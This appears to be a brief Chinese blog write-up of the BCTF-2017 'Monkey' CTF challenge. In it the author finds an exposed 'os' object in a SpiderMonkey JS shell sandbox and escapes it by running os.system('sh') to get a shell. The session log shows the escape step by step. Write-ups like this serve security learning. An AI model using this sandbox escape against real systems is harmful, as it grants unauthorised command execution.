BCTF-2017 Monkey

运行程序 发现是个沙箱

利用dir()查看引用的函数

js> dir()
typein:3:1 ReferenceError: dir is not defined
Stack:
  @typein:3:1
js>

没办法执行

思路:

如果不能查看调用怎么知道引用os模块了呢?

1.尝试import os

2.假设存在os直接调用

3.假设存在但是过滤.之类的无法直接调用

有了思路就可以开始尝试了

js> import os
typein:1:0 SyntaxError: import declarations may only appear at top level of a module:
typein:1:0 import os
typein:1:0

SyntaxError:import声明只能出现在模块的顶层

也就是我们没办法在此使用import

js> os
({getenv:function getenv() {
    [native code]
}, getpid:function getpid() {
    [native code]
}, system:function system() {
    [native code]
}, spawn:function spawn() {
    [native code]
}, kill:function kill() {
    [native code]
}, waitpid:function waitpid() {
    [native code]
}})
js>

当我直接输入os时发现存在以下命令 最值得注意的是system命令 所以我们看看能不能执行os.system(‘sh’)

js> os.system()
typein:1:1 Error: os.system requires 1 argument
Stack:
  @typein:1:1
js> os.system('ls')
js  libnspr4.so  libplc4.so  libplds4.so
0
js> os.system('sh') 
$ ls
js  libnspr4.so  libplc4.so  libplds4.so
$

可以看到成功调用system且拿到sh

那我们试试第三种情况能否使用

js> a=getattr(os,"system")
typein:6:1 ReferenceError: getattr is not defined
Stack:
  @typein:6:1
js>

发现不能识别该函数所以没办法通过此方法绕过==

请杯咖啡呗~
支付宝
微信
本文作者:ios
版权声明:本文首发于ios的博客,转载请注明出处!